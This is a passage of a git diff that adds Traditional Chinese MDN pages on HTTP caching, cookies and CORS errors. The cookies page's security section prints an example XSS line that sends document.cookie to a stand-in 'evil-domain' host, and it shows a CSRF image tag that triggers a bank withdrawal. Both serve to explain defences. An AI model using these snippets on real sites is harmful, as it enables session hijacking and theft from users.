id="驗證">驗證</h4> + +<p>當使用"<code>must-revalidate</code>"指令時，快取伺服器一定要先發送請求訊息給網頁伺服器驗證，請已經確認是過有效期限且檔案有更新的回覆的話，舊的檔案就不能使用。假如想了解更多，請參見下面的<a href="#Cache_validation">Validation</a>。</p> + +<pre>Cache-Control: must-revalidate</pre> + +<h3 id="Pragma檔頭欄位"><code>Pragma</code>檔頭欄位</h3> + +<p>{{HTTPHeader("Pragma")}} 是HTTP/1.0的檔頭欄位，此檔頭欄位沒有特別指是HTTP回覆怎麼處理，所以用此來取代HTTP/1.1 <code>Cache-Control</code>通用檔頭欄位並不是很穩定。假如<code>Cache-Control</code> 檔頭欄位在傳送請求訊息時被省略掉了，此檔頭欄位運作的結果跟 <code>Cache-Control: no-cache</code>一樣<code>。此Pragma</code>欄位只能跟 HTTP/1.0的請求者使用。</p> + +<h2 id="Freshness">Freshness</h2> + +<p>Once a resource is stored in a cache, it could theoretically be served by the cache forever. Caches have finite storage so items are periodically removed from storage. This process is called <em>cache eviction</em>. On the other side, some resources may change on the server so the cache should be updated. As HTTP is a client-server protocol, servers can't contact caches and clients when a resource changes; they have to communicate an expiration time for the resource. Before this expiration time, the resource is <em>fresh</em>; after the expiration time, the resource is <em>stale</em>. Eviction algorithms often privilege fresh resources over stale resources. Note that a stale resource is not evicted or ignored; when the cache receives a request for a stale resource, it forwards this request with a {{HTTPHeader("If-None-Match")}} to check if it is in fact still fresh. If so, the server returns a {{HTTPStatus("304")}} (Not Modified) header without sending the body of the requested resource, saving some bandwidth.</p> + +<p>Here is an example of this process with a shared cache proxy:</p> + +<p><img alt="Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale." src="https://mdn.mozillademos.org/files/13771/HTTPStaleness.png" style="height: 910px; width: 822px;"></p> + +<p>The freshness lifetime is calculated based on several headers. If a "<code>Cache-control: max-age=N</code>" header is specified, then the freshness lifetime is equal to N. If this header is not present, which is very often the case, it is checked if an {{HTTPHeader("Expires")}} header is present. If an <code>Expires</code> header exists, then its value minus the value of the {{HTTPHeader("Date")}} header determines the freshness lifetime. Finally, if neither header is present, look for a {{HTTPHeader("Last-Modified")}} header. If this header is present, then the cache's freshness lifetime is equal to the value of the <code>Date</code> header minus the value of the <code>Last-modified</code> header divided by 10.<br> + The expiration time is computed as follows:</p> + +<pre>expirationTime = responseTime + freshnessLifetime - currentAge +</pre> + +<p>where <code>responseTime</code> is the time at which the response was received according to the browser.</p> + +<h3 id="Revved_resources">Revved resources</h3> + +<p>The more we use cached resources, the better the responsiveness and the performance of a Web site will be. To optimize this, good practices recommend to set expiration times as far in the future as possible. This is possible on resources that are regularly updated, or often, but is problematic for resources that are rarely and infrequently updated. They are the resources that would benefit the most from caching resources, yet this makes them very difficult to update. This is typical of the technical resources included and linked from each Web pages: JavaScript and CSS files change infrequently, but when they change you want them to be updated quickly.</p> + +<p>Web developers invented a technique that Steve Souders called <em>revving</em><sup><a href="https://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/">[1]</a></sup>. Infrequently updated files are named in specific way: in their URL, usually in the filename, a revision (or version) number is added. That way each new revision of this resource is considered as a resource on its own that <em>never</em> changes and that can have an expiration time very far in the future, usually one year or even more. In order to have the new versions, all the links to them must be changed, that is the drawback of this method: additional complexity that is usually taken care of by the tool chain used by Web developers. When the infrequently variable resources change they induce an additional change to often variable resources. When these are read, the new versions of the others are also read.</p> + +<p>This technique has an additional benefit: updating two cached resources at the same time will not lead to the situation where the out-dated version of one resource is used in combination with the new version of the other one. This is very important when web sites have CSS stylesheets or JS scripts that have mutual dependencies, i.e., they depend on each other because they refer to the same HTML elements.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13779/HTTPRevved.png"></p> + +<p>The revision version added to revved resources doesn't need to be a classical revision string like 1.1.3, or even a monotonously growing suite of number. It can be anything that prevent collisions, like a hash or a date.</p> + +<h2 id="Cache_validation">Cache validation</h2> + +<p>When a cached document's expiration time has been reached, it is either validated or fetched again. Validation can only occur if the server provided either a <em>strong validator</em> or a <em>weak validator</em>.</p> + +<p>Revalidation is triggered when the user presses the reload button. It is also triggered under normal browsing if the cached response includes the "<code>Cache-control: must-revalidate</code>" header. Another factor is the cache validation preferences in the <code>Advanced->Cache</code> preferences panel. There is an option to force a validation each time a document is loaded.</p> + +<h3 id="ETags">ETags</h3> + +<p>The {{HTTPHeader("ETag")}} response header is an <em>opaque-to-the-useragent</em> value that can be used as a strong validator. That means that a HTTP user-agent, such as the browser, does not know what this string represents and can't predict what its value would be. If the <code>ETag</code> header was part of the response for a resource, the client can issue an {{HTTPHeader("If-None-Match")}} in the header of future requests – in order to validate the cached resource.</p> + +<p>The {{HTTPHeader("Last-Modified")}} response header can be used as a weak validator. It is considered weak because it only has 1-second resolution. If the <code>Last-Modified</code> header is present in a response, then the client can issue an {{HTTPHeader("If-Modified-Since")}} request header to validate the cached document.</p> + +<p>When a validation request is made, the server can either ignore the validation request and response with a normal {{HTTPStatus(200)}} <code>OK</code>, or it can return {{HTTPStatus(304)}} <code>Not Modified</code> (with an empty body) to instruct the browser to use its cached copy. The latter response can also include headers that update the expiration time of the cached document.</p> + +<h2 id="Varying_responses">Varying responses</h2> + +<p>The {{HTTPHeader("Vary")}} HTTP response header determines how to match future request headers to decide whether a cached response can be used rather than requesting a fresh one from the origin server.</p> + +<p>When a cache receives a request that can be satisfied by a cached response that has a <code>Vary</code> header field, it must not use that cached response unless all header fields as nominated by the <code>Vary</code> header match in both the original (cached) request and the new request.</p> + +<p><img alt="The Vary header leads cache to use more HTTP headers as key for the cache." src="https://mdn.mozillademos.org/files/13769/HTTPVary.png" style="height: 817px; width: 752px;"></p> + +<p>This can be useful for serving content dynamically, for example. When using the <code>Vary: User-Agent</code> header, caching servers should consider the user agent when deciding whether to serve the page from cache. If you are serving different content to mobile users, it can help you to avoid that a cache may mistakenly serve a desktop version of your site to your mobile users. In addition, it can help Google and other search engines to discover the mobile version of a page, and might also tell them that no <a href="https://en.wikipedia.org/wiki/Cloaking">Cloaking</a> is intended.</p> + +<pre>Vary: User-Agent</pre> + +<p>Because the {{HTTPHeader("User-Agent")}} header value is different ("varies") for mobile and desktop clients, caches will not be used to serve mobile content mistakenly to desktop users or vice versa.</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="https://tools.ietf.org/html/rfc7234">RFC 7234: Hypertext Transfer Protocol (HTTP/1.1): Caching</a></li> + <li><a href="https://www.mnot.net/cache_docs">Caching Tutorial – Mark Nottingham</a></li> + <li><a href="https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching">HTTP caching – Ilya Grigorik</a></li> + <li><a href="https://redbot.org/">RedBot</a>, a tool to check your cache-related HTTP headers.</li> +</ul> diff --git a/files/zh-tw/web/http/cookies/index.html b/files/zh-tw/web/http/cookies/index.html new file mode 100644 index 0000000000..e6baf94bb4 --- /dev/null +++ b/files/zh-tw/web/http/cookies/index.html @@ -0,0 +1,194 @@ +--- +title: HTTP cookies +slug: Web/HTTP/Cookies +tags: + - Cookies + - Guide + - HTTP +translation_of: Web/HTTP/Cookies +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary"><span class="seoSummary"><dfn>HTTP cookie</dfn>（web cookie、browser cookie）為伺服器傳送予使用者瀏覽器的一個小片段資料。瀏覽器可能儲存並於下一次請求回傳 cookie 至相同的伺服器。</span>Cookie 通常被用來保持使用者的登入狀態——如果兩次請求都來自相同的瀏覽器。舉例來說，它記住了<a href="/zh-TW/docs/Web/HTTP/Overview#HTTP_is_stateless_but_not_sessionless">無狀態（stateless）</a>HTTP 協議的有狀態資訊。</p> + +<p>Cookies 主要用於三個目的：</p> + +<dl> + <dt>Session 管理</dt> + <dd>帳號登入、購物車、遊戲分數，或任何其他伺服器應該記住的資訊</dd> + <dt>個人化</dt> + <dd>使用者設定、佈景主題，以及其他設定</dd> + <dt>追蹤</dt> + <dd>記錄並分析使用者行為</dd> +</dl> + +<p>Cookies 曾被當作一般的客戶端儲存方式來使用。這在當時 cookie 仍是將資料儲存在客戶端的唯一方法時是合法的，現在則建議使用現代的 storage APIs。Cookies 會被每一個請求發送出去，所以可能會影響效能（尤其是行動裝置的資料連線）。現代客戶端的 storage APIs 為 <a href="/zh-TW/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a> （<code>localStorage</code> 和 <code>sessionStorage</code>）以及 <a href="/zh-TW/docs/Web/API/IndexedDB_API">IndexedDB</a>。</p> + +<div class="note"> +<p>要檢視儲存的 cookies（以及其他網頁可以使用的儲存資料），你可以開啟開發者工具中的<a href="/zh-TW/docs/Tools/Storage_Inspector">儲存檢示器（Storage Inspector）</a>並自儲存樹（storage tree）選擇 Cookies。</p> +</div> + +<h2 id="建立_cookies">建立 cookies</h2> + +<p>收到一個 HTTP 請求時，伺服器可以傳送一個 {{HTTPHeader("Set-Cookie")}} 的標頭和回應。Cookie 通常存於瀏覽器中，並隨著請求被放在{{HTTPHeader("Cookie")}} HTTP 標頭內，傳給同個伺服器。可以註明 Cookie 的有效或終止時間，超過後 Cookie 將不再發送。此外，也可以限制 Cookie 不傳送到特定的網域或路徑。</p> + +<h3 id="Set-Cookie_及_Cookie_標頭"><code>Set-Cookie</code> 及 <code>Cookie</code> 標頭</h3> + +<p>{{HTTPHeader("Set-Cookie")}} HTTP 回應標頭從伺服器傳送 cookies 至用戶代理。一個簡單的 cookie 可以如下例設定：</p> + +<pre class="syntaxbox">Set-Cookie: <cookie-name>=<cookie-value></pre> + +<p>這個來自伺服器的標頭告訴客戶端要儲存一個 cookie 。</p> + +<div class="note"><strong>備註：</strong>以下是如何在不同的伺服器端應用程式中，使用 <code>Set-Cookie</code> 標頭： + +<ul> + <li><a href="https://secure.php.net/manual/en/function.setcookie.php">PHP</a></li> + <li><a href="https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value">Node.JS</a></li> + <li><a href="https://docs.python.org/3/library/http.cookies.html">Python</a></li> + <li><a href="http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a></li> +</ul> +</div> + +<pre>HTTP/1.0 200 OK +Content-type: text/html +Set-Cookie: yummy_cookie=choco +Set-Cookie: tasty_cookie=strawberry + +[page content]</pre> + +<p id="The_client_sends_back_to_the_server_its_cookies_previously_stored">現在隨著每個請求，瀏覽器會使用 {{HTTPHeader("Cookie")}} 標頭將所有先前儲存的 cookies 傳給伺服器。</p> + +<pre>GET /sample_page.html HTTP/1.1 +Host: www.example.org +Cookie: yummy_cookie=choco; tasty_cookie=strawberry</pre> + +<h3 id="Session_cookies">Session cookies</h3> + +<p>以上創建的 cookie 為 <em>session cookie</em>：當客戶端關閉時即被刪除，因為它並沒有註明過期 <code>Expires</code> 或可維持的最大時間 <code>Max-Age</code>。不過網頁瀏覽器可使用 <strong>session restoring</strong>，讓 session cookies 永久保存，就像瀏覽器從來沒關閉。</p> + +<h3 id="常駐_cookies">常駐 cookies</h3> + +<p>常駐 cookies 不會在客戶關閉後到期，而是在一個特定的日期 (<code>Expires</code>) 或一個標明的時間長度後（<code>Max-Age</code>）。</p> + +<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</pre> + +<div class="note"> +<p><strong>備註：</strong>當到期日被設定後，時間與日期即為相對於用戶端設定 cookie 的時間，而非伺服器。</p> +</div> + +<h3 id="Secure_以及_HttpOnly_cookies"><code>Secure</code> 以及 <code>HttpOnly</code> cookies</h3> + +<p>Secure cookie 只有在以加密的請求透過 HTTPS 協議時，傳送給伺服器。但即便是 <code>Secure</code> ，敏感的資訊絕對不該存在 cookies 內，因為他們本質上是不安全的，這個旗標不能提供真正的保護。自 Chrome 52 以及 Firefox 52 開始，不安全的網站（<code>http:</code>）就不能以 <code>Secure</code> 的指示設定 cookies。</p> + +<p>為了避免跨站腳本攻擊 ({{Glossary("XSS")}})，JavaScript 的{{domxref("Document.cookie")}} API 無法取得 <code>HttpOnly</code> cookies；他們只傳送到伺服器。舉例來說，不需要讓 JavaScript 可以取用仍在伺服器 sessions 中的 cookies 時，就應該立 <code>HttpOnly</code> 的旗幟。</p> + +<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly</pre> + +<h3 id="Cookies_的作用範圍">Cookies 的作用範圍</h3> + +<p><code>Domain</code> 及 <code>Path</code> 的指示定義了 cookie 的作用範圍： cookies 應該被送到哪些 URLs 。</p> + +<p><code>Domain</code> 註明了受允許的 hosts 能接收 cookie。若無註明，則預設給<a href="/zh-TW/docs/Web/API/Document/location">當前文件位置的 host</a><strong>，不包含 subdomain。</strong> 若 <code>Domain</code> <em>有被註明</em>，則 subdomains 總是被包含。</p> + +<p>舉例來說，當設定 <code>Domain=mozilla.org</code> 後，在像 <code>developer.mozilla.org</code> 之類的 subdomains 中，cookies 都被包含在內。</p> + +<p><code>Path</code> 指出一個必定存在於請求 URL 中的 URL 路徑，使 <code>Cookie</code> 標頭能被傳出。%x2F（「/」）字元是資料夾分隔符號，子資料夾也同樣會被匹配。</p> + +<p>例如，當設定 <code>Path=/docs</code> 後，以下的路徑皆會匹配：</p> + +<ul> + <li><code>/docs</code></li> + <li><code>/docs/Web/</code></li> + <li><code>/docs/Web/HTTP</code></li> +</ul> + +<h3 id="SameSite_cookies_experimental_inline"><code>SameSite</code> cookies {{experimental_inline}}</h3> + +<p><code>SameSite</code> 讓伺服器要求 cookie 不應以跨站請求的方式寄送，某種程度上避免了跨站請求偽造的攻擊（{{Glossary("CSRF")}}）。<code>SameSite</code> cookies 目前仍在實驗階段，尚未被所有的瀏覽器支援。</p> + +<h3 id="JavaScript_使用_Document.cookie_存取">JavaScript 使用 <code>Document.cookie</code> 存取</h3> + +<p>新的 cookies 亦可經由 JavaScript 的 {{domxref("Document.cookie")}} 屬性生成，且若沒有立 <code>HttpOnly</code> 旗幟，已存在的 cookies 可以透過 JavaScript 取得。</p> + +<pre class="brush: js">document.cookie = "yummy_cookie=choco"; +document.cookie = "tasty_cookie=strawberry"; +console.log(document.cookie); +// logs "yummy_cookie=choco; tasty_cookie=strawberry"</pre> + +<p>請注意以下<a href="/zh-TW/docs/Web/HTTP/Cookies#Security">安全性</a>章節的資安問題。JavaScript 可取得的 Cookies 即有被 XSS 攻擊竊取的風險。</p> + +<h2 id="安全性">安全性</h2> + +<div class="note"> +<p><span>機密或敏感的資訊永遠不應該以 HTTP Cookies 的方式儲存或傳送，因為整個機制的本質是不安全的。</span></p> +</div> + +<h3 id="Session_hijacking_以及_XSS">Session hijacking 以及 XSS</h3> + +<p>Cookies 常用於網頁應用程式中，識別使用者與其 authenticated session，因此竊取 cookie 可能造成使用者的 authenticated session 被劫持。一般偷取 cookies 的作法包括社交工程（Social Engineering），或利用應用程式中的 {{Glossary("XSS")}} 漏洞。</p> + +<pre class="brush: js">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;</pre> + +<p>Cookie 中的 <code>HttpOnly</code> 屬性，能藉由防止透過 JavaScript 取得 cookie 內容，來減少此類型的攻擊。</p> + +<h3 id="Cross-site_request_forgery_(CSRF)">Cross-site request forgery (CSRF)</h3> + +<p><a href="https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery">維基百科</a>為 {{Glossary("CSRF")}} 舉了一個好例子。假設在一個未經過濾的對話或論壇中，某人插入了一個並非真實圖片，而是對你銀行伺服器請求領錢的 image：</p> + +<pre class="brush: html"><img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"></pre> + +<p>現在如果你的銀行帳戶仍在登入狀態中，你的 cookies 仍然有效，並且沒有其他的驗證方式，當你載入包含此圖片的 HTML 同時，你的錢即會被轉出。以下是一些避免此情況發生的技術：</p> + +<ul> + <li>Input filtering 和 {{Glossary("XSS")}} 一樣是重要的。</li> + <li>做任何敏感的動作前，都應該要求使用者確認。</li> + <li>用於敏感動作的 Cookies 都只應該有短時間的生命週期。</li> + <li>更多防範的技巧，參見 <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet">OWASP CSRF prevention cheat sheet</a>。</li> +</ul> + +<h2 id="追蹤及隱私">追蹤及隱私</h2> + +<h3 id="第三方_cookies">第三方 cookies</h3> + +<p>Cookies 會帶有他們所屬的網域名。若此網域和你所在的頁面網域相同，cookies 即為<em>第一方（first-party）cookie</em>，不同則為<em>第三方（third-party）cookie</em>。第一方 cookies 只被送到設定他們的伺服器，但一個網頁可能含有存在其他網域伺服器的圖片或組件（像橫幅廣告）。透過這些第三方組件傳送的 cookies 便是第三方 cookies，經常被用於廣告和網頁上的追蹤。參見 <a href="https://www.google.com/policies/technologies/types/">Google 常用的 cookies 種類</a>。大部分的瀏覽器預設允許第三方 cookies，但也有些可以阻擋他們的 add-on（例如 <a href="https://www.eff.org/">EFF</a> 的 <a href="https://addons.mozilla.org/zh-TW/firefox/addon/privacy-badger-firefox/">Privacy Badger</a>）。</p> + +<div>若沒有事先告訴消費者第三方 cookies 的存在，當消費者發現你使用 cookie 時，對你的信任將會受損。因此，公開表明 cookie 的使用（像在隱私權條款中）將減低發現 cookie 時的負面影響。有些國家有關於 cookies 的法律條文。範例可以參見維基百科的 <a href="https://wikimediafoundation.org/wiki/Cookie_statement">cookie statement</a>。</div> + +<ul> +</ul> + +<h3 id="Do-Not-Track">Do-Not-Track</h3> + +<p><span>對於 cookie 的使用並沒有法律上或技術上的規定，但可利用 {{HTTPHeader("DNT")}} 標頭，指示網頁應用程式關閉頁面的追蹤、或跨站的使用者追蹤。參見{{HTTPHeader("DNT")}} 標頭以獲得更多資訊。</span></p> + +<h3 id="EU_cookie_directive">EU cookie directive</h3> + +<p>歐洲議會在 <a href="http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136">Directive 2009/136/EC</a> 中定義了歐盟的 cookies 規定，並於 2011 年 5 月 25 日生效。此指示本身並非法律，而是給歐盟會員國要作為法律，需符合之規定的指示。實際的法條可因國制宜。</p> + +<p>簡而言之，EU directive 指明要儲存或取得使用者電腦、手機、或其他裝置上的資訊前，都要經過使用者的同意。很多網站加了橫幅告知使用者 cookies 的使用。</p> + +<p>參見<a href="https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive">維基百科上此章節</a>，並查詢國家的法律以取得最新與最精確的資訊。</p> + +<h3 id="Zombie_cookies_and_Evercookies">Zombie cookies and Evercookies</h3> + +<p>Zombie cookies 或「Evercookies」是一個更激進的手段，刻意讓 cookies 在被刪除後重新創造，使其很難被永遠的刪除。這些 cookies 使用 <a href="/zh-TW/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a>、Flash Local Shared Objects 和其他的技術，使得當他們被偵測不存在時，就會立刻重新創造。</p> + +<ul> + <li><a href="https://github.com/samyk/evercookie">Evercookie by Samy Kamkar</a></li> + <li><a href="https://en.wikipedia.org/wiki/Zombie_cookie">維基百科上的 Zombie cookies</a></li> +</ul> + +<h2 id="參見">參見</h2> + +<ul> + <li>{{HTTPHeader("Set-Cookie")}}</li> + <li>{{HTTPHeader("Cookie")}}</li> + <li>{{domxref("Document.cookie")}}</li> + <li>{{domxref("Navigator.cookieEnabled")}}</li> + <li><a href="/zh-TW/docs/Tools/Storage_Inspector">Inspecting cookies using the Storage Inspector</a></li> + <li><a class="external" href="https://tools.ietf.org/html/rfc6265">Cookie specification: RFC 6265</a></li> + <li><a class="external" href="https://www.nczonline.net/blog/2009/05/05/http-cookies-explained/">Nicholas Zakas article on cookies</a></li> + <li><a class="external" href="https://www.nczonline.net/blog/2009/05/12/cookies-and-security/">Nicholas Zakas article on cookies and security</a></li> + <li><a href="https://en.wikipedia.org/wiki/HTTP_cookie">HTTP cookie on Wikipedia</a></li> +</ul> diff --git a/files/zh-tw/web/http/cors/errors/corsdidnotsucceed/index.html b/files/zh-tw/web/http/cors/errors/corsdidnotsucceed/index.html new file mode 100644 index 0000000000..b265a0ca1c --- /dev/null +++ b/files/zh-tw/web/http/cors/errors/corsdidnotsucceed/index.html @@ -0,0 +1,22 @@ +--- +title: 原因：CORS 請求未成功 +slug: Web/HTTP/CORS/Errors/CORSDidNotSucceed +translation_of: Web/HTTP/CORS/Errors/CORSDidNotSucceed +--- +<div>{{HTTPSidebar}}</div> + +<h2 id="原因">原因</h2> + +<pre class="syntaxbox">Reason: CORS request did not succeed</pre> + +<h2 id="哪邊出錯了？">哪邊出錯了？</h2> + +<p>使用 CORS 的 {{Glossary("HTTP")}} 請求失敗，因為 HTTP 連線在網路或協定層級失敗。這個錯誤和 CORS 沒有直接關係，but is a fundamental network error of some kind.</p> + +<h2 id="參見">參見</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li> + <li>Glossary: {{Glossary("CORS")}}</li> + <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li> +</ul> diff --git a/files/zh-tw/web/http/cors/errors/corsmissingalloworigin/index.html b/files/zh-tw/web/http/cors/errors/corsmissingalloworigin/index.html new file mode 100644 index 0000000000..fde9e0e0bd --- /dev/null +++ b/files/zh-tw/web/http/cors/errors/corsmissingalloworigin/index.html @@ -0,0 +1,48 @@ +--- +title: 原因：缺少 CORS 標頭 'Access-Control-Allow-Origin' +slug: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin +translation_of: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin +--- +<div>{{HTTPSidebar}}</div> + +<h2 id="原因">原因</h2> + +<pre class="syntaxbox">Reason: CORS header 'Access-Control-Allow-Origin' missing</pre> + +<h2 id="What_went_wrong">What went wrong?</h2> + +<p>The response to the {{Glossary("CORS")}} request is missing the required {{HTTPHeader("Access-Control-Allow-Origin")}} header, which is used to determine whether or not the resource can be accessed by content operating within the current origin.</p> + +<p>If the server is under your control, add the origin of the requesting site to the set of domains permitted access by adding it to the <code>Access-Control-Allow-Origin</code> header's value.</p> + +<p>For example, to allow a site at https://amazing.site to access the resource using CORS, the header should be:</p> + +<pre>Access-Control-Allow-Origin: https://amazing.site</pre> + +<p>You can also configure a site to allow any site to access it by using the <code>"*"</code> wildcard. You should only use this for public APIs. Private APIs should never use <code>"*"</code>, and should instead have a specific domain or domains set. In addition, the wildcard only works for requests made with the {{htmlattrxref("crossorigin")}} attribute set to <code>"anonymous"</code>.</p> + +<pre>Access-Control-Allow-Origin: *</pre> + +<div class="warning"> +<p><strong>Warning:</strong> Using the wildcard to allow all sites to access a private API is a bad idea for what should be obvious reasons.</p> +</div> + +<p> </p> + +<p>For example, in Apache, add a line such as the following to the server's configuration (within the appropriate <code><Directory></code>, <code><Location></code>, <code><Files></code>, or <code><VirtualHost></code> section). The configuration is typically found in a <code>.conf</code> file (<code>httpd.conf</code> and <code>apache.conf</code> are common names for these), or in an <code>.htaccess</code> file.</p> + +<pre>Header set Access-Control-Allow-Origin '<em>origin-list</em>'</pre> + +<p>For Nginx, the command to set up this header is:</p> + +<pre>add_header 'Access-Control-Allow-Origin' '<em>origin-list</em>'</pre> + +<p> </p> + +<h2 id="參見">參見</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li> + <li>Glossary: {{Glossary("CORS")}}</li> + <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li> +</ul> diff --git a/files/zh-tw/web/http/cors/errors/corsnotsupportingcredentials/index.html b/files/zh-tw/web/http/cors/errors/corsnotsupportingcredentials/index.html new file mode 100644 index 0000000000..8c971d93f5 --- /dev/null +++ b/files/zh-tw/web/http/cors/errors/corsnotsupportingcredentials/index.html @@ -0,0 +1,32 @@ +--- +title: 原因：CORS 'Access-Control-Allow-Origin' 設定為「*」時不支援使用帳號密碼 +slug: Web/HTTP/CORS/Errors/CORSNotSupportingCredentials +translation_of: Web/HTTP/CORS/Errors/CORSNotSupportingCredentials +--- +<div>{{HTTPSidebar}}</div> + +<h2 id="原因">原因</h2> + +<pre class="syntaxbox">Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’</pre> + +<h2 id="What_went_wrong">What went wrong?</h2> + +<p>The {{Glossary("CORS")}} request was attempted with the credentials flag set, but the server is configured using the wildcard (<code>"*"</code>) as the value of {{HTTPHeader("Access-Control-Allow-Origin")}}, which doesn't allow the use of credentials.</p> + +<p>To correct this problem on the client side, simply ensure that the credentials flag's value is <code>false</code> when issuing your CORS request.</p> + +<ul> + <li>If the request is being issued using {{domxref("XMLHttpRequest")}}, make sure you're not setting {{domxref("XMLHttpRequest.withCredentials", "withCredentials")}} to <code>true</code>.</li> + <li>If using <a href="/en-US/docs/Web/API/Server-sent_events">Server-sent events</a>, make sure {{domxref("EventSource.withCredentials")}} is <code>false</code> (it's the default value).</li> + <li>If using the <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>, make sure {{domxref("Request.credentials")}} is <code>"omit"</code>.</li> +</ul> + +<p>If, instead, you need to adjust the server's behavior, you'll need to change the value of <code>Access-Control-Allow-Origin</code> to grant access to the origin from which the client is loaded.</p> + +<h2 id="參見">參見</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li> + <li>Glossary: {{Glossary("CORS")}}</li> + <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li> +</ul> diff --git a/files/zh-tw/web/http/cors/errors/index.html b/files/zh-tw/web/http/cors/errors/index.html new file mode 100644 index 0000000000..d1dd12dc75 --- /dev/null +++ b/files/zh-tw/web/http/cors/errors/index.html @@ -0,0 +1,76 @@ +--- +title: CORS errors +slug: Web/HTTP/CORS/Errors +tags: + - CORS + - Errors + - HTTP + - HTTPS + - Messages + - NeedsTranslation + - Same-origin + - Security + - TopicStub + - console + - troubleshooting +translation_of: Web/HTTP/CORS/Errors +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary"><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing</a> ({{Glossary("CORS")}}) is a standard that allows a server to relax the <a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a>. This is used to explicitly allow some cross-origin requests while rejecting others.</span> For example, if a site offers an embeddable service, it may be necessary to relax certain restrictions. Setting up such a CORS configuration isn't necessarily easy and may present some challenges. In these pages, we'll look into some common CORS error messages and how to resolve them.</p> + +<p>If the CORS configuration isn't setup correctly, the browser console will present an error like <code>"Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite"</code> indicating that the request was blocked due to violating the CORS security rules. This might not necessarily be a set-up mistake, though. It's possible that the request is in fact intentionally being disallowed by the user's web application and remote external service. However, If the endpoint is meant to be available, some debugging is needed to succeed.</p> + +<h2 id="Identifying_the_issue">Identifying the issue</h2> + +<p>To understand the underlying issue with the CORS configuration, you need to find out which request is at fault and why. These steps may help you do so:</p> + +<ol> + <li>Navigate to the web site or web app in question and open the <a href="/en-US/docs/Tools">Developer Tools</a>.</li> + <li>Now try to reproduce the failing transaction and check the <a href="/en-US/docs/Tools/Web_Console">console</a> if you are seeing a CORS violation error message. It will probably look like this:</li> +</ol> + +<p><img alt="Firefox console showing CORS error" src="https://mdn.mozillademos.org/files/16050/cors-error2.png"></p> + +<p>The text of the error message will be something similar to the following:</p> + +<pre>Cross<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">-Origin Request Blocked: The Same Origin Policy disallows +reading the remote resource at <em>https://some-url-here</em>. (<em>Reason: +additional information here</em>).</span></span></span></pre> + +<div class="note"> +<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><strong>Note:</strong> For security reasons, specifics about what went wrong with a CORS request <em>are not available to JavaScript code</em>. All the code knows is that an error occurred. The only way to determine what specifically went wrong is to look at the browser's console for details.</span></span></span></p> +</div> + +<h2 id="CORS_error_messages">CORS error messages</h2> + +<p>Firefox's console displays messages in its console when requests fail due to CORS. Part of the error text is a "reason" message that provides added insight into what went wrong. The reason messages are listed below; click the message to open an article explaining the error in more detail and offering possible solutions.</p> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDisabled">Reason: CORS disabled</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDidNotSucceed">Reason: CORS request did not succeed</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded">Reason: CORS header ‘Origin’ cannot be added</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed">Reason: CORS request external redirect not allowed</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSRequestNotHttp">Reason: CORS request not http</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ missing</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ does not match ‘xyz’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMethodNotFound">Reason: Did not find method in CORS header ‘Access-Control-Allow-Methods’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowCredentials">Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed">Reason: CORS preflight channel did not succeed</a></li> + <li><a 